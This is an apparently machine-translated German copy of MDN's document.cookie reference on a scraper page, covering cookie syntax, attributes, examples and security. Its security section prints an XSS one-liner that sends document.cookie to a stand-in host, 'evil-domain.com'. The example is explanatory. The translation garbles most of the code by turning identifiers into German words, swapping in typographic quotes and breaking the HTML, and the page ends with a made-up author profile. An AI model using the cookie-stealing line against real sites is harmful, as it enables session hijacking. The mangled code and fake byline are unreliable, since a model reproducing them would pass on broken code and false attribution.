Dokument: Cookie-Eigenschaft – Web-APIs | MDN (2023)

DerDokumentierenEigentumPlätzchenlässt Sie lesen und schreibenKeksemit dem Dokument verknüpft. Es dient als Getter und Setter für die tatsächlichen Werte der Cookies.

Syntax

Lesen Sie alle von diesem Standort aus zugänglichen Cookies

js

alleCookies=dokumentieren.Plätzchen;

Im Code obenalleCookiesist eine Zeichenfolge, die eine durch Semikolons getrennte Liste aller Cookies enthält (d. h.Schlüssel=WertPaare). Beachten Sie, dass jederTasteUndWertkann von Leerzeichen (Leer- und Tabulatorzeichen) umgeben sein: TatsächlichRFC 6265schreibt ein einzelnes Leerzeichen nach jedem Semikolon vor, einige Benutzerprogramme halten sich jedoch möglicherweise nicht daran.

Schreiben Sie einen neuen Cookie

js

dokumentieren.Plätzchen=newCookie;

Im Code oben:newCookieist eine FormzeichenfolgeSchlüssel=Wert, Angabe des Cookies, das gesetzt/aktualisiert werden soll. Beachten Sie, dass Sie mit dieser Methode jeweils nur ein einzelnes Cookie setzen/aktualisieren können. Bedenken Sie auch Folgendes:

  • Jeder der folgenden Cookie-Attributwerte kann optional auf das Schlüssel-Wert-Paar folgen, wobei jedem ein Semikolon-Trennzeichen vorangestellt ist:
    • ;domain=domain(z.B., 'example.com' oder 'subdomain.example.com'): Der Host, an den das Cookie gesendet wird. Wenn nicht angegeben, wird standardmäßig der Hostteil des aktuellen Dokumentspeicherorts verwendet. Im Gegensatz zu früheren Spezifikationen werden führende Punkte in Domänennamen ignoriert, aber Browser lehnen es möglicherweise ab, das Cookie zu setzen, das solche Punkte enthält. Wenn eine Domain angegeben ist, sind Subdomains immer enthalten.

      Notiz:Die DomänemussEntspricht der Domäne des JavaScript-Ursprungs. Das Setzen von Cookies auf fremde Domains wird stillschweigend ignoriert.

    • ;expires=Datum-im-GMTString-Format: Das Ablaufdatum des Cookies. Wenn wederläuft abnochHöchstalterangegeben ist, läuft es am Ende der Sitzung ab.

      Warnung:Wenn der Datenschutz der Benutzer ein Anliegen ist, ist es wichtig, dass jede Web-App-Implementierung Cookie-Daten nach einer bestimmten Zeitüberschreitung ungültig macht, anstatt sich darauf zu verlassen, dass der Browser dies tut. In vielen Browsern können Benutzer festlegen, dass Cookies niemals ablaufen sollen, was nicht unbedingt sicher ist.

      SehenDate.toUTCString()Für Hilfe bei der Formatierung dieses Werts.
    • ;max-age=max-age-in-seconds: Das maximale Alter des Cookies in Sekunden (z. B.60*60*24*365oder 31536000 für ein Jahr).
    • ;partitioniert: Gibt an, dass das Cookie mithilfe eines partitionierten Speichers gespeichert werden soll. SehenCookies mit unabhängigem Partitionierungsstatus (CHIPS)für mehr Details.
    • ;pfad=pfad: Gibt den Pfad an, der in der angeforderten URL vorhanden sein muss, damit der Browser die senden kannPlätzchenHeader (z. B. '/', '/meindir'). Wenn nicht angegeben, wird standardmäßig der aktuelle Pfad des aktuellen Dokumentspeicherorts verwendet.
    • gleiche Seite:SameSiteverhindert, dass der Browser dieses Cookie zusammen mit seitenübergreifenden Anfragen sendet. Mögliche Werte sindlax,striktoderkeiner.
      • Derlaxvalue sendet das Cookie für alle Anfragen auf derselben Website und GET-Anfragen für die Navigation auf oberster Ebene. Für das User-Tracking ist das ausreichend, wird aber viele davon abhaltenFälschung standortübergreifender Anfragen(CSRF)-Angriffe. Dies ist der Standardwert in modernen Browsern.
      • DerstriktDieser Wert verhindert, dass das Cookie vom Browser in allen Cross-Site-Browsing-Kontexten an die Zielseite gesendet wird, selbst wenn einem regulären Link gefolgt wird.
      • DerkeinerDer Wert gibt ausdrücklich an, dass keine Einschränkungen angewendet werden. Das Cookie wird bei allen Anfragen gesendet – sowohl bei standortübergreifenden als auch bei standortübergreifenden Anfragen.
    • ;sicher: Gibt an, dass das Cookie nur über ein sicheres Protokoll übertragen werden soll.
  • Die Cookie-Wertzeichenfolge kann verwendet werdenencodeURIComponent()um sicherzustellen, dass die Zeichenfolge keine Kommas, Semikolons oder Leerzeichen enthält (die in Cookie-Werten nicht zulässig sind).
  • Einige Benutzeragentenimplementierungen unterstützen die folgenden Cookie-Präfixe:
    • __Sicher-Signalisiert dem Browser, dass er das Cookie nur in Anfragen einbeziehen soll, die über einen sicheren Kanal übertragen werden.
    • __Gastgeber-Signalisiert dem Browser, dass zusätzlich zu der Beschränkung, nur das Cookie von einem sicheren Ursprung zu verwenden, der Umfang des Cookies auf ein vom Server weitergegebenes Pfadattribut beschränkt ist. Wenn der Server das Pfadattribut weglässt, wird das „Verzeichnis“ des Anforderungs-URI verwendet. Es signalisiert außerdem, dass das Domänenattribut nicht vorhanden sein darf, wodurch verhindert wird, dass das Cookie an andere Domänen gesendet wird. Für Chrome muss das Pfadattribut immer der Ursprung sein.

    Notiz:Der Bindestrich gilt als Teil des Präfixes.

    Notiz:Diese Flags sind nur mit dem einstellbarsicherAttribut.

Notiz:Wie Sie dem obigen Code entnehmen können,document.cookieist einAccessor-Eigenschaftmit EingeborenenSetterUndGetterFunktionen und ist folglichnichtADateneigenschaftmit einem Wert: Was Sie schreiben, ist nicht dasselbe wie das, was Sie lesen, alles wird immer vom JavaScript-Interpreter vermittelt.

Beispiele

Beispiel 1: Einfache Verwendung

js

// Beachten Sie, dass wir in diesem Beispiel „SameSite=None;“ festlegen, weil das Beispiel// muss ursprungsübergreifend funktionieren.// Es ist üblicher, das Attribut „SameSite“ nicht zu setzen, was zur Standardeinstellung führt.// und sicherer, Wert von `SameSite=Lax;`dokumentieren.Plätzchen= "name=oeschger; SameSite=None; Secure";dokumentieren.Plätzchen= „favorite_food=tripe; SameSite=None; Secure“;Funktion Cookies anzeigen() { constAusgang=dokumentieren.getElementById("Kekse");Ausgang.Textinhalt= `>${dokumentieren.Plätzchen}`;}Funktion clearOutputCookies() { constAusgang=dokumentieren.getElementById("Kekse");Ausgang.Textinhalt= „“;}

html

<Taste onclick="Cookies anzeigen()">Cookies anzeigenTaste><Taste onclick="clearOutputCookies()">KlarTaste><div> <Code Ausweis="Kekse">Code>div>

Beispiel 2: Holen Sie sich ein Beispielcookie mit dem Namen test2

js

// Beachten Sie, dass wir in diesem Beispiel „SameSite=None;“ festlegen, weil das Beispiel// muss ursprungsübergreifend funktionieren.// Es ist üblicher, das Attribut „SameSite“ nicht zu setzen, was zur Standardeinstellung führt.// und sicherer, Wert von `SameSite=Lax;`dokumentieren.Plätzchen= „test1=Hallo; SameSite=None; Sicher“;dokumentieren.Plätzchen= „test2=World; SameSite=None; Secure“;constcookieValue=dokumentieren.Plätzchen.Teilt("; ") .finden((Reihe) =>Reihe.beginnt mit("test2=")) ?.Teilt("=")[1];Funktion showCookieValue() { constAusgang=dokumentieren.getElementById(„Cookie-Wert“);Ausgang.Textinhalt= `>${cookieValue}`;}Funktion clearOutputCookieValue() { constAusgang=dokumentieren.getElementById(„Cookie-Wert“);Ausgang.Textinhalt= „“;}

html

<Taste onclick="showCookieValue()">Cookie-Wert anzeigenTaste><Taste onclick="clearOutputCookieValue()">KlarTaste><div> <Code Ausweis="Cookie-Wert">Code>div>

Beispiel 3: Etwas nur einmal tun

Um den folgenden Code zu verwenden, ersetzen Sie bitte alle Vorkommen des WortesdoSomethingOnlyOnce(der Name des Cookies) mit einem benutzerdefinierten Namen.

js

Funktion doOnce() { Wenn ( !dokumentieren.Plätzchen.Teilt("; ") .finden((Reihe) =>Reihe.beginnt mit(„doSomethingOnlyOnce“)) ) { // Beachten Sie, dass wir in diesem Beispiel „SameSite=None;“ festlegen, weil das Beispiel // muss ursprungsübergreifend funktionieren. // Es ist üblicher, das Attribut „SameSite“ nicht zu setzen, was zur Standardeinstellung führt. // und sicherer, Wert von `SameSite=Lax;`dokumentieren.Plätzchen= „doSomethingOnlyOnce=true; läuft ab=Fr, 31. Dezember 9999 23:59:59 GMT; SameSite=None; Sicher“; constAusgang=dokumentieren.getElementById(„einmal machen“);Ausgang.Textinhalt= „>Machen Sie hier etwas!“; }}Funktion clearOutputDoOnce() { constAusgang=dokumentieren.getElementById(„einmal machen“);Ausgang.Textinhalt= „“;}

html

<Taste onclick="doOnce()">Mach etwas nur einmalTaste><Taste onclick="clearOutputDoOnce()">KlarTaste><div> <Code Ausweis="einmal machen">Code>div>

Beispiel 4: Vorheriges Cookie zurücksetzen

js

Funktion resetOnce() { // Beachten Sie, dass wir in diesem Beispiel „SameSite=None;“ festlegen, weil das Beispiel // muss ursprungsübergreifend funktionieren. // Es ist üblicher, das Attribut „SameSite“ nicht zu setzen, was zur Standardeinstellung führt. // und sicherer, Wert von `SameSite=Lax;`dokumentieren.Plätzchen= „doSomethingOnlyOnce=; läuft ab=Do, 1. Januar 1970 00:00:00 GMT; SameSite=None; Sicher“; constAusgang=dokumentieren.getElementById(„einmal zurücksetzen“);Ausgang.Textinhalt= „> Zurücksetzen!“;}Funktion clearOutputResetOnce() { constAusgang=dokumentieren.getElementById(„einmal zurücksetzen“);Ausgang.Textinhalt= „“;}

html

<Taste onclick="resetOnce()">Cookie nur einmal zurücksetzenTaste><Taste onclick="clearOutputResetOnce()">KlarTaste><div> <Code Ausweis="Einmal zurücksetzen">Code>div>

Beispiel 5: Überprüfen Sie das Vorhandensein eines Cookies

js

// Beachten Sie, dass wir in diesem Beispiel „SameSite=None;“ festlegen, weil das Beispiel// muss ursprungsübergreifend funktionieren.// Es ist üblicher, das Attribut „SameSite“ nicht zu setzen, was zur Standardeinstellung führt.// und sicherer, Wert von `SameSite=Lax;`dokumentieren.Plätzchen= „reader=1; SameSite=None; Secure“;Funktion checkACookieExists() { Wenn (dokumentieren.Plätzchen.Teilt(„;“).manche((Artikel) =>Artikel.trimmen().beginnt mit("Leser=")) ) { constAusgang=dokumentieren.getElementById(„a-cookie-existenz“);Ausgang.Textinhalt= '> Das Cookie „reader“ existiert‘; }}Funktion clearOutputACookieExists() { constAusgang=dokumentieren.getElementById(„a-cookie-existenz“);Ausgang.Textinhalt= „“;}

html

<Taste onclick="checkACookieExists()">Überprüfen Sie, ob ein Cookie vorhanden istTaste><Taste onclick="clearOutputACookieExists()">KlarTaste><div> <Code Ausweis="eine-Cookie-Existenz">Code>div>

Beispiel 6: Überprüfen Sie, ob ein Cookie einen bestimmten Wert hat

js

Funktion checkCookieHasASpecificValue() { Wenn (dokumentieren.Plätzchen.Teilt(„;“).manche((Artikel) =>Artikel.beinhaltet(„Leser=1“))) { constAusgang=dokumentieren.getElementById(„ein-spezifischer-Wert-des-Cookies“);Ausgang.Textinhalt= '> Das Cookie „reader“ hat den Wert „1“‘; }}Funktion clearASpecificValueOfTheCookie() { constAusgang=dokumentieren.getElementById(„ein-spezifischer-Wert-des-Cookies“);Ausgang.Textinhalt= „“;}

html

<Taste onclick="checkCookieHasASpecificValue()">Überprüfen Sie, ob ein Cookie einen bestimmten Wert hatTaste><Taste onclick="clearASpecificValueOfTheCookie()">KlarTaste><div> <Code Ausweis="ein-spezifischer-Wert-des-Cookies">Code>div>

Sicherheit

Es ist wichtig zu beachten, dass dieWegAttribut tut esnichtSchutz vor unbefugtem Auslesen des Cookies von einem anderen Weg. Es kann mithilfe des DOM leicht umgangen werden, beispielsweise durch die Erstellung eines HiddenElement mit dem Pfad des Cookies und greifen Sie dann auf diese Iframes zucontentDocument.cookieEigentum. Die einzige Möglichkeit, das Cookie zu schützen, besteht aufgrund der Verwendung einer anderen Domain oder SubdomainSame-Origin-Politik.

Cookies werden häufig in Webanwendungen verwendet, um einen Benutzer und seine authentifizierte Sitzung zu identifizieren. Der Diebstahl eines Cookies aus einer Webanwendung führt dazu, dass die Sitzung des authentifizierten Benutzers gekapert wird. Zu den gängigen Möglichkeiten, Cookies zu stehlen, gehört die Verwendung vonsoziale Entwicklungoder durch Ausnutzung von aCross-Site-Scripting(XSS)-Schwachstelle in der Anwendung –

js

neu Bild().src= `http://www.evil-domain.com/steal-cookie.php?cookie=${dokumentieren.Plätzchen}`;

DerNur HTTPDas Cookie-Attribut kann dazu beitragen, diesen Angriff abzuschwächen, indem es den Zugriff auf den Cookie-Wert über JavaScript verhindert. Lesen Sie mehr überCookies und Sicherheit.

Anmerkungen

  • Ab Firefox 2 ist ein besserer Mechanismus für die clientseitige Speicherung verfügbar:WHATWG DOM-Speicher.
  • Sie können ein Cookie löschen, indem Sie seine Ablaufzeit auf Null setzen.
  • Beachten Sie, dass je mehr Cookies Sie haben, desto mehr Daten werden bei jeder Anfrage zwischen dem Server und dem Client übertragen. Dadurch wird jede Anfrage langsamer. Die Verwendung wird Ihnen dringend empfohlenWHATWG DOM-Speicherwenn Sie „nur Client“-Daten behalten möchten.
  • RFC 2965(Abschnitt 5.3, „Implementierungsgrenzen“) gibt an, dass dies der Fall sein solltekeine maximale Längedes Schlüssels oder der Wertgröße eines Cookies und fordert Implementierungen zur Unterstützung aufbeliebig große Cookies. Das Implementierungsmaximum jedes Browsers ist zwangsläufig unterschiedlich. Konsultieren Sie daher die Dokumentation des jeweiligen Browsers.

Der Grund dafürSyntaxdesdocument.cookieDie Accessor-Eigenschaft ist auf den Client-Server-Charakter von Cookies zurückzuführen, der sich von anderen Client-Client-Speichermethoden unterscheidet (z. B.lokaler Speicher):

Der Server weist den Client an, ein Cookie zu speichern

bash

HTTP/1.0200OKContent-Typ: text/htmlSet-Cookie:cookie_name1=cookie_value1Set-Cookie:cookie_name2=cookie_value2; läuft ab=Sonne,16Juli356706:23:41 GMT[Inhalt der Seite hier]

Der Client sendet seine zuvor gespeicherten Cookies an den Server zurück

bash

GET /sample_page.html HTTP/1.1Host: www.example.orgCookie:cookie_name1=cookie_value1; cookie_name2=cookie_value2Accept: */*

Spezifikationen

Spezifikation
HTML-Standard
# dom-document-cookie

Browser-Kompatibilität

BCD-Tabellen werden nur im Browser geladen

Siehe auch

  • HTTP-Cookies
  • DOM-Speicher
  • URL.Pfadname
  • Date.toUTCString()
  • RFC 2965
Top Articles
Latest Posts
Article information

Author: Twana Towne Ret

Last Updated: 05/07/2023

Views: 6313

Rating: 4.3 / 5 (64 voted)

Reviews: 95% of readers found this page helpful

Author information

Name: Twana Towne Ret

Birthday: 1994-03-19

Address: Apt. 990 97439 Corwin Motorway, Port Eliseoburgh, NM 99144-2618

Phone: +5958753152963

Job: National Specialist

Hobby: Kayaking, Photography, Skydiving, Embroidery, Leather crafting, Orienteering, Cooking

Introduction: My name is Twana Towne Ret, I am a famous, talented, joyous, perfect, powerful, inquisitive, lovely person who loves writing and wants to share my knowledge and understanding with you.